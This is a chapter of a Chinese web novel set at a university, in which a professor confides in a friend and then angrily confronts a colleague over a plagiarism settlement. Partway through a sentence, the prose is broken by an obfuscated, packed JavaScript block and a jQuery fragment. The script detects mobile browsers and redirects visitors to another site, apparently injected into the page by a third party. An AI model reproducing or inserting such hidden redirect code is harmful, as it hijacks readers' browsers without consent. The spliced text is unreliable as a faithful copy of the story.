41. 贝氏测试
作品:《象牙塔幽灵》 江无远气得睡不着,噼里啪啦打字,给何回发微信:
“小回,我现在遇到一个严重的问题。”
“冰洋大学危在旦夕!”
“关键词:职业道德,学术腐败,灰色地带,不法交易。”
“事关一个二十出头的年轻女孩的终生幸福。”
何回一个语音电话打过来:“说吧,大胸教授又怎么了?”
江无远吓死了:“你怎么又知道了?”
何回早有预料。
以前她们的聊天内容主要为:骂领导,骂同事,看帅哥,约饭、约打球、约逛街,互相发网上刷到的可爱小猫小狗,互相安利好看的书和电影,吃明星塌房的瓜,以及许愿早日暴富。
自从江无远打破清规戒律,在微信里频频提起贺鸣云的那天起,何回就知道,可怕的异性恋病毒发作了,好闺蜜的思想开始滑坡了。
“虽然爱男是死罪,但你这次犯罪我也可以理解。你跟他一起做课题、一起写论文、一起录网课,相当于共同有了三个孩子。现在就流行这种,先孕后爱。”
“我都懒得劝你少看点这些乱七八糟的了。首先,论文和课题都还没成——”
“也算的,怀着,怀胎十月,快生了嘛,”何军师打断江无远,继续分析,“再加上之前会议室刺杀那一出,吊桥效应,爱上了也是人之常情。”
江无远表示抗议:“是我去救他,要吊桥也是贺鸣云吊吧?”
“我不知道他吊没吊,反正他没辗转反侧睡不着,大半夜的给我发微信。你知道贝克德尔测试吗?”
“什么东西?”江无远警惕地问,“不会是类似知网的东西吧?”
“这么有名的测试都不知道,所以让你多看点影视作品,”何回科普道,“它就是三条规则,用来评估影视作品的女性角色塑造情况。”
“哪三条?”
“第一,电影里必须有至少两个女性角色。第二,这两个女性角色之间必须有交流。第三,她们聊天内容不可以围绕男人。按照这个测试,我俩都是电影里围着男主角转的花瓶角色。”
江无远倒在床上,绝望地闭上眼睛:“好了,我明白你的意思了,对不起,我再也不跟你聊男人了。”
“对不起什么啊,我是在向你提议,把贝克德尔测试和现实中的闺蜜聊天结合起来,做个研究。”
江无远猛地睁开眼睛,不睁开她会以为自己在做梦。“你是谁?你怎么夺舍了小回?小回不可能对学术感兴趣的!”
“让你写,又不是我写。你不觉得很有意思吗?明明女性的世界很广阔,情感很丰富,五感很细腻,但是闺蜜间总是在聊男的,聊情感话题。杀鸡焉用牛刀?男的有这么值得讨论吗?”
江无远的学术神经迅速被激活:“嗯……我想可能是因为,女孩子从小就被暗示,甚至是被鼓励关注情感、外貌这些问题,社会默认这些话题是女孩间的社交货币,交流情感问题是一种高效的情感联结方式。”
“发了C刊再向我汇报。现在先说大胸教授的事。”
江无远这才反应过来,跟何回东拉西扯了半天,她都还没讲正事呢!可恶的何律师巧舌如簧,把她都带沟里了,问题没解决,还倒欠了她一篇论文。
“你别插嘴啊,等我慢慢跟你解释。”
何回花了人生中宝贵的六分钟,听完了江无远夹杂着不少脏话的前情提要。
“……就这?”
何回从事法律行业,现在的风向本来就是调解优先、调判结合,大量的民事纠纷会通过调解解决。她看过本市的法院工作报告,去年的一审民事案件调解结案率近60%,这意味着,超过一半的民事案件没有走到判决阶段,提前调解结案了。
在何回现实主义的判断里,和树大根深的被告和解,节约时间和精力成本,属于双赢,她不觉得有什么问题。
江无远急死了:“这关乎学术的纯洁,学生的尊严,教师的道德。贺鸣云不应该纵容这种事。”
何回无语死了:“你这么激动,我还以为他性骚扰女学生,当日本间谍,杀了女主的阿翁,把亲爸亲妈卖去缅北了呢。”
“你少看点电视剧。你们玩资本市场的不明白,这件事对我来说很重要。”
完了。何回心想,她可能真的爱上了。江无远不是那么苛刻的人,现在破防得宛如一个偶像塌房的女粉,她在乎了,她陷进去了,偶像抠个鼻屎就让她夜不能寐了。
“好的,江江,你随意吧。难得有你感兴趣的男人,不管是出于娱乐消遣,还是追求真爱,我觉得都挺好的,值得一玩。”
“注意你的措辞,我可是人民教师。”
何回捏着鼻子开始吟唱:“京城里的人都知道,江大教授挑男人,最在乎干不干净。必须先把脊梁骨剥出来,量一量是不是笔直的;再把脑花摊开,看一看有没有道德污点;当然最后,胸也要敞开检查一下……”
“你少看点短剧!”
语音电话挂了,何回又迅速发来三条微信:
“急着挂电话干嘛?我想说的是,检查心胸是否宽广,你想哪儿去了?”
“你明天就去问问他是怎么回事嘛,多大点事,他要是思想滑坡了,你就教育他呀,现在就流行这种,训狗。”
“个人不喜欢angrysex的剧情,你实在想搞的话,做好措施。”
天啊,高知女性之间聊天,怎么能这么低俗啊。
*****
和何回插科打诨一通,江无远的大脑依然一团乱麻,但心情确实轻松了很多。
她之前都准备去找马远征了,在玄关换鞋了才突然惊醒,诶等等,我又不是社会学专业的老师,不是小钟的导师,更不是贺鸣云的家属,关我什么事啊?我有什么立场去打听啊?
何况钟若晚本人也没直接找她求助,是肖飞飞和方溯作为小钟的朋友,慌不择路找她帮忙,她连事情的来龙去脉都还不清楚呢。
江无远不敢再细想,再想她就要良心发现,觉得自己对不起贺鸣云了。没了解清楚情况就冲他发了一通火,表现得像某些追妻火葬场的作品里,只有嗓门和巴掌好使、脑子和耳朵都不好使、总是“我不听我不听”“你太让我失望了”的狂躁症男主。
如果再深入地想一想,江无远就会发现更大的疑点。他们之中,贺鸣云才是更讲原则、更一根筋的那个,照理说她不至于这么苛责贺鸣云。她为什么会这么失望呢?是因为太上头了,下意识开启了防沉迷系统,故意找茬好让自己清醒吗?
幸也不幸,江无远不太内耗,不爱自我审判,没来得及深刻剖析自己的心境,因此也尚未察觉自己的心意。
她决定采纳何回的建议,直接找当事人问个清楚。第二天一起床,稍微收拾了下,直奔C2幢贺鸣云办公室而去。
刚出三楼电梯,竟然遇上了贾明光。
“贾教授,好巧。”
贾明光笑笑:“江教授,来找贺教授?”
“嗯,”不知为何,江无远有点心虚,觉得有必要澄清一下,“聊点公事。您也是来找他的吗?”
“对,不过我们已经聊完了。他有个博士生准备和京西的教授合作发论文,那边课题组的小导跟我有点私交,贺教授找我了解下情况。”
江无远一愣,贺鸣云的博士还用跟其他导师一起发论文?还是和外校的导师?
贾明光看出她的疑问,嘴也是个没把门的,顺嘴就说了:“哦,一般是不会这么操作的,毕竟贺教授自己指导就很给力了。我们学校和京西的关系也比较敏感,学院内不太喜欢这种模式。不过这次学生合作的是圈内一个挺有影响力的教授,你可能不认识,孔富顺,在我们专业算是泰斗级的,比较说得上话。联合发论文建立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282426|195550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起联系,以后也有好处。诶,不耽误你了,你去吧江教授,回见啊。”
江无远脑子里轰的一声。
不难拼凑起逻辑链:抄袭行为确实存在——抄袭者孔富顺提出和解,和解的方式是牺牲小钟的一作署名权和追责权,让她屈辱地成为论文的第二甚至第三作者——贺鸣云答应了孔富顺提出的交易——这件事见不得光,所以贺鸣云才对她支支吾吾,而且这么在乎保密问题。
理智上,江无远当然知道,这不是最坏的结果,她自己就经历过被导师剽窃成果,抗争的结果是连二作都没给她,还被彻底踢出了课题组。
理智上,她当然也知道,就算这不是不错的选择,也轮不到她这个外人来说三道四。
理智上,有什么好生气的呢?莫生气,因为有缘才相聚,是否更该去珍惜,为了小事发脾气,回头想想又何必……
江无远深呼吸,摁下电梯下行键,准备离开。
*****
贺鸣云命中有此劫。
平时他工作都很专注,在办公室一呆好几个小时不出门。
偏偏今天他总觉得口干舌燥,胸闷气短,不知道是不是上火了。他决定泡杯菊花茶败火,刚好出门去接热水,瞥见一个人影走进电梯。
那身影十分眼熟。
“……江老师?”
江无远走进电梯,狂摁关门键。
“江老师,等等!”
贺鸣云动作快如闪电,伸手去拦电梯,被电梯门夹了下。
江无远惊呆了,抬头看贺鸣云。这人怎么一点看不懂眼色的?看不出来她现在正火冒三丈、不想跟他说话吗?
他没在意被夹到的手,脸上的表情有些急切:“江老师,你找我?”
这可是他自己送上门来的。“你答应孔富顺的和解条件了?就这样?把一作送给他?”
贺鸣云呆住了:“你怎么知道的?”
江无远再难克制,心头火起。
“那就对了,我是来找你,找的就是你这个晦气玩意儿,狗xx,你装你x的x呢,你xx在搞毛啊你?”
贺鸣云从来没听过江无远说脏话,给她骂懵了。
电梯门再度合上,贺鸣云出于本能,又伸手去拦,又被夹了下。
江无远毫不同情,继续骂他:“你他x的,你不是说,你会尽力把她留在你身边?现在你让她去剽窃者手下讨饭吃?亏小钟还尊称你一声导,你xx的,市侩,走稳了,别哪天被绊倒怎么死的都不知道。”
贺鸣云目瞪口呆,一句话也说不出来。
电梯门在他面前合上了。
贾明光刚刚一碰到江无远,就知道今天有狗血戏看,悄悄从消防通道又摸了上来,在楼梯口蹲着,屏气凝神偷听。
真好,年轻人啊,谈恋爱还这么有活力,还能吵得恨海情天的。
*****
“导儿?导儿?”
钟若晚好生奇怪,工作狂老登竟然电脑也没开,呆坐在办公室,捂着手不知道在想什么。
不会是被孔富顺打了吧?
“导儿?你没事吧?导儿,你青年痴呆了?”
贺鸣云当然有事。
本来今天早上起床就不舒服,头很痛,咽喉也不舒服。刚刚被江老师一吼,耳朵嗡嗡作响。现在都快到下午饭点了,还是一点胃口都没有。
手还被夹肿了。
还有点想死,觉得生无可恋。
贺鸣云有气无力地摆摆手:“我没事,我就是,干眼症,用眼过度。”
好稀奇,他天天滴进口眼药水,每天做三遍眼保健操,近视眼都没得,还干眼症?
钟若晚问:“你眼睛痛吗?很干?”
贺鸣云摇摇头:“不是,就是不知道怎么的,眼睛里老是有水往外面流。”
“导儿,你这是伤心得哭了!”

